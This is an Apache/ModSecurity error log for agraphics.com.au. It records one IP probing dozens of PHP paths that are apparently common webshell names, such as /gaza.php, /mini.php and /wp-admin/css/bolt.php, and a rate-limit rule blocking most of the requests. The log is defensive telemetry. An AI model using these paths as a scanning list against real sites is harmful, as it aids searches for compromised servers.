[Thu Apr 23 21:42:11.232989 2026] [:error] [pid 42972:tid 43022] [client 4.232.90.249:50899] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-links-opml.php"] [unique_id "aeohs8OAb-3sOknsk4dEGgAAAEY"]
[Thu Apr 23 21:42:11.784090 2026] [:error] [pid 65000:tid 65032] [client 4.232.90.249:46186] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-links-opml.php"] [unique_id "aeohs76vRb9j6psK2ZaW4gAAAgM"]
[Thu Apr 23 21:42:12.345018 2026] [:error] [pid 64967:tid 64989] [client 4.232.90.249:41494] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jk.php"] [unique_id "aeohtIAV4GfOOdX8Qzp3IQAAAZQ"]
[Thu Apr 23 21:42:12.937185 2026] [:error] [pid 42971:tid 42995] [client 4.232.90.249:56595] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jk.php"] [unique_id "aeohtDEP2_5RswrH8bEtPQAAAAk"]
[Thu Apr 23 21:42:13.532956 2026] [:error] [pid 46953:tid 46958] [client 4.232.90.249:46200] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jk.php"] [unique_id "aeohtUnlpdHh-P6wKbo8HwAAAkI"]
[Thu Apr 23 21:42:14.095579 2026] [:error] [pid 65000:tid 65041] [client 4.232.90.249:59804] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jk.php"] [unique_id "aeohtr6vRb9j6psK2ZaW6wAAAgg"]
[Thu Apr 23 21:42:15.080424 2026] [:error] [pid 65000:tid 65053] [client 4.232.90.249:41500] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dx.php"] [unique_id "aeoht76vRb9j6psK2ZaW8gAAAhQ"]
[Thu Apr 23 21:42:15.961810 2026] [:error] [pid 64998:tid 65026] [client 4.232.90.249:50890] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dx.php"] [unique_id "aeoht4V5EysYcTLjmwiHUgAAAdg"]
[Thu Apr 23 21:42:17.037774 2026] [:error] [pid 25635:tid 25661] [client 4.232.90.249:4331] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dx.php"] [unique_id "aeohucRxv6UsgRGKB3I1igAAARY"]
[Thu Apr 23 21:42:20.095254 2026] [:error] [pid 42972:tid 43018] [client 4.232.90.249:41525] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dx.php"] [unique_id "aeohvMOAb-3sOknsk4dEIQAAAEI"]
[Thu Apr 23 21:42:24.707753 2026] [:error] [pid 64998:tid 65012] [client 4.232.90.249:46198] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aa.php"] [unique_id "aeohwIV5EysYcTLjmwiHWAAAAco"]
[Thu Apr 23 21:42:31.755291 2026] [:error] [pid 42973:tid 43050] [client 4.232.90.249:30793] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aa.php"] [unique_id "aeohx26I0QqmmmLTHE0hYgAAAIc"]
[Thu Apr 23 21:42:34.683054 2026] [:error] [pid 42972:tid 43016] [client 4.232.90.249:4323] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aa.php"] [unique_id "aeohysOAb-3sOknsk4dETwAAAEA"]
[Thu Apr 23 21:42:35.677712 2026] [:error] [pid 46953:tid 46964] [client 4.232.90.249:59811] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mini.php"] [unique_id "aeohy0nlpdHh-P6wKbo8JAAAAkg"]
[Thu Apr 23 21:42:36.332556 2026] [:error] [pid 42972:tid 43034] [client 4.232.90.249:4320] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mini.php"] [unique_id "aeohzMOAb-3sOknsk4dEVAAAAFI"]
[Thu Apr 23 21:42:36.961587 2026] [:error] [pid 42972:tid 43021] [client 4.232.90.249:56635] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mini.php"] [unique_id "aeohzMOAb-3sOknsk4dEVwAAAEU"]
[Thu Apr 23 21:42:37.782222 2026] [proxy_fcgi:error] [pid 65000:tid 65041] [client 4.232.90.249:41858] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:42:38.021657 2026] [proxy_fcgi:error] [pid 65000:tid 65050] [client 4.232.90.249:41858] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:42:38.260902 2026] [proxy_fcgi:error] [pid 65000:tid 65055] [client 4.232.90.249:41858] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:42:38.571311 2026] [proxy_fcgi:error] [pid 65000:tid 65031] [client 4.232.90.249:41858] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:42:38.816512 2026] [proxy_fcgi:error] [pid 65000:tid 65048] [client 4.232.90.249:41858] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:42:39.055131 2026] [proxy_fcgi:error] [pid 65000:tid 65030] [client 4.232.90.249:41858] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:42:39.293680 2026] [proxy_fcgi:error] [pid 65000:tid 65040] [client 4.232.90.249:41858] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:42:39.556638 2026] [proxy_fcgi:error] [pid 65000:tid 65039] [client 4.232.90.249:41858] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:42:39.796387 2026] [proxy_fcgi:error] [pid 65000:tid 65045] [client 4.232.90.249:41858] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:42:40.035187 2026] [proxy_fcgi:error] [pid 65000:tid 65054] [client 4.232.90.249:41858] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:42:40.275058 2026] [proxy_fcgi:error] [pid 65000:tid 65049] [client 4.232.90.249:41858] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:42:40.518445 2026] [:error] [pid 65000:tid 65050] [client 4.232.90.249:41858] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aeoh0L6vRb9j6psK2ZaXMgAAAhE"]
[Thu Apr 23 21:42:41.423589 2026] [:error] [pid 42971:tid 42986] [client 4.232.90.249:61085] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aeoh0TEP2_5RswrH8bEtPgAAAAA"]
[Thu Apr 23 21:42:42.127037 2026] [:error] [pid 42971:tid 42992] [client 4.232.90.249:41529] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aeoh0jEP2_5RswrH8bEtPwAAAAY"]
[Thu Apr 23 21:42:42.845488 2026] [:error] [pid 43083:tid 43104] [client 4.232.90.249:30815] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aeoh0jC5hrvNXosL83J7lgAAANM"]
[Thu Apr 23 21:42:43.934033 2026] [:error] [pid 42971:tid 43009] [client 4.232.90.249:4302] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/profile.php"] [unique_id "aeoh0zEP2_5RswrH8bEtRAAAABc"]
[Thu Apr 23 21:42:45.217697 2026] [:error] [pid 42971:tid 42994] [client 4.232.90.249:46154] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/profile.php"] [unique_id "aeoh1TEP2_5RswrH8bEtRQAAAAg"]
[Thu Apr 23 21:42:46.259357 2026] [:error] [pid 42972:tid 43036] [client 4.232.90.249:30802] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/profile.php"] [unique_id "aeoh1sOAb-3sOknsk4dEYgAAAFQ"]
[Thu Apr 23 21:42:46.938021 2026] [:error] [pid 42972:tid 43028] [client 4.232.90.249:61091] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/profile.php"] [unique_id "aeoh1sOAb-3sOknsk4dEYwAAAEw"]
[Thu Apr 23 21:42:47.825774 2026] [:error] [pid 42973:tid 43054] [client 4.232.90.249:36598] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gaza.php"] [unique_id "aeoh126I0QqmmmLTHE0hbwAAAIs"]
[Thu Apr 23 21:42:48.363053 2026] [:error] [pid 64998:tid 65006] [client 4.232.90.249:61707] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gaza.php"] [unique_id "aeoh2IV5EysYcTLjmwiHbQAAAcQ"]
[Thu Apr 23 21:42:49.208249 2026] [:error] [pid 42972:tid 43025] [client 4.232.90.249:50923] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gaza.php"] [unique_id "aeoh2cOAb-3sOknsk4dEagAAAEk"]
[Thu Apr 23 21:42:49.867563 2026] [:error] [pid 59700:tid 59719] [client 4.232.90.249:48548] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gaza.php"] [unique_id "aeoh2ZXyGZJFeAIDWtktBgAAAVE"]
[Thu Apr 23 21:42:50.781749 2026] [:error] [pid 42973:tid 43057] [client 4.232.90.249:65520] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kj.php"] [unique_id "aeoh2m6I0QqmmmLTHE0hdQAAAI4"]
[Thu Apr 23 21:42:51.848784 2026] [:error] [pid 42973:tid 43067] [client 4.232.90.249:61639] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kj.php"] [unique_id "aeoh226I0QqmmmLTHE0hewAAAJg"]
[Thu Apr 23 21:42:53.732143 2026] [:error] [pid 42972:tid 43022] [client 4.232.90.249:4296] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kj.php"] [unique_id "aeoh3cOAb-3sOknsk4dEeAAAAEY"]
[Thu Apr 23 21:42:55.214308 2026] [:error] [pid 46953:tid 46971] [client 4.232.90.249:61671] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kj.php"] [unique_id "aeoh30nlpdHh-P6wKbo8KwAAAk8"]
[Thu Apr 23 21:42:56.874427 2026] [:error] [pid 65000:tid 65056] [client 4.232.90.249:62607] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aboute.php"] [unique_id "aeoh4L6vRb9j6psK2ZaXOQAAAhc"]
[Thu Apr 23 21:42:58.214677 2026] [:error] [pid 64998:tid 65019] [client 4.232.90.249:62654] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aboute.php"] [unique_id "aeoh4oV5EysYcTLjmwiHdQAAAdE"]
[Thu Apr 23 21:43:00.366334 2026] [:error] [pid 42973:tid 43045] [client 4.232.90.249:61970] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aboute.php"] [unique_id "aeoh5G6I0QqmmmLTHE0higAAAII"]
[Thu Apr 23 21:43:02.299725 2026] [:error] [pid 43083:tid 43085] [client 4.232.90.249:42978] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aboute.php"] [unique_id "aeoh5jC5hrvNXosL83J7qgAAAMA"]
[Thu Apr 23 21:43:03.554516 2026] [:error] [pid 65000:tid 65043] [client 4.232.90.249:4355] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws82.php"] [unique_id "aeoh576vRb9j6psK2ZaXRQAAAgo"]
[Thu Apr 23 21:43:04.363276 2026] [:error] [pid 64998:tid 65005] [client 4.232.90.249:42887] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws82.php"] [unique_id "aeoh6IV5EysYcTLjmwiHegAAAcM"]
[Thu Apr 23 21:43:05.042597 2026] [:error] [pid 43083:tid 43101] [client 4.232.90.249:42971] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws82.php"] [unique_id "aeoh6TC5hrvNXosL83J7rQAAANA"]
[Thu Apr 23 21:43:05.725852 2026] [:error] [pid 64998:tid 65008] [client 4.232.90.249:38973] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws82.php"] [unique_id "aeoh6YV5EysYcTLjmwiHfAAAAcY"]
[Thu Apr 23 21:43:06.374571 2026] [:error] [pid 59700:tid 59713] [client 4.232.90.249:53912] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/edit.php"] [unique_id "aeoh6pXyGZJFeAIDWtktFgAAAUs"]
[Thu Apr 23 21:43:07.708496 2026] [:error] [pid 42971:tid 42999] [client 4.232.90.249:42963] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/edit.php"] [unique_id "aeoh6zEP2_5RswrH8bEtRwAAAA0"]
[Thu Apr 23 21:43:08.945788 2026] [:error] [pid 42973:tid 43048] [client 4.232.90.249:34231] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/edit.php"] [unique_id "aeoh7G6I0QqmmmLTHE0hlAAAAIU"]
[Thu Apr 23 21:43:09.953608 2026] [:error] [pid 42973:tid 43049] [client 4.232.90.249:42889] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/edit.php"] [unique_id "aeoh7W6I0QqmmmLTHE0hmAAAAIY"]
[Thu Apr 23 21:43:11.401903 2026] [:error] [pid 59700:tid 59706] [client 4.232.90.249:45280] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yw5bi63u.php"] [unique_id "aeoh75XyGZJFeAIDWtktHgAAAUQ"]
[Thu Apr 23 21:43:12.746041 2026] [:error] [pid 42972:tid 43032] [client 4.232.90.249:49002] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yw5bi63u.php"] [unique_id "aeoh8MOAb-3sOknsk4dEhwAAAFA"]
[Thu Apr 23 21:43:14.629966 2026] [:error] [pid 42972:tid 43036] [client 4.232.90.249:49007] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yw5bi63u.php"] [unique_id "aeoh8sOAb-3sOknsk4dEigAAAFQ"]
[Thu Apr 23 21:43:15.500810 2026] [:error] [pid 59700:tid 59709] [client 4.232.90.249:39588] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yw5bi63u.php"] [unique_id "aeoh85XyGZJFeAIDWtktJQAAAUc"]
[Thu Apr 23 21:43:16.627367 2026] [:error] [pid 65000:tid 65047] [client 4.232.90.249:35343] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tool.php"] [unique_id "aeoh9L6vRb9j6psK2ZaXXgAAAg4"]
[Thu Apr 23 21:43:17.366041 2026] [:error] [pid 42973:tid 43050] [client 4.232.90.249:42931] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tool.php"] [unique_id "aeoh9W6I0QqmmmLTHE0hmgAAAIc"]
[Thu Apr 23 21:43:19.179194 2026] [:error] [pid 59700:tid 59706] [client 4.232.90.249:59046] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tool.php"] [unique_id "aeoh95XyGZJFeAIDWtktLAAAAUQ"]
[Thu Apr 23 21:43:20.408124 2026] [:error] [pid 64967:tid 64974] [client 4.232.90.249:35334] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tool.php"] [unique_id "aeoh-IAV4GfOOdX8Qzp3MAAAAYU"]
[Thu Apr 23 21:43:21.839953 2026] [:error] [pid 59700:tid 59710] [client 4.232.90.249:45279] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bgymj.php"] [unique_id "aeoh-ZXyGZJFeAIDWtktLwAAAUg"]
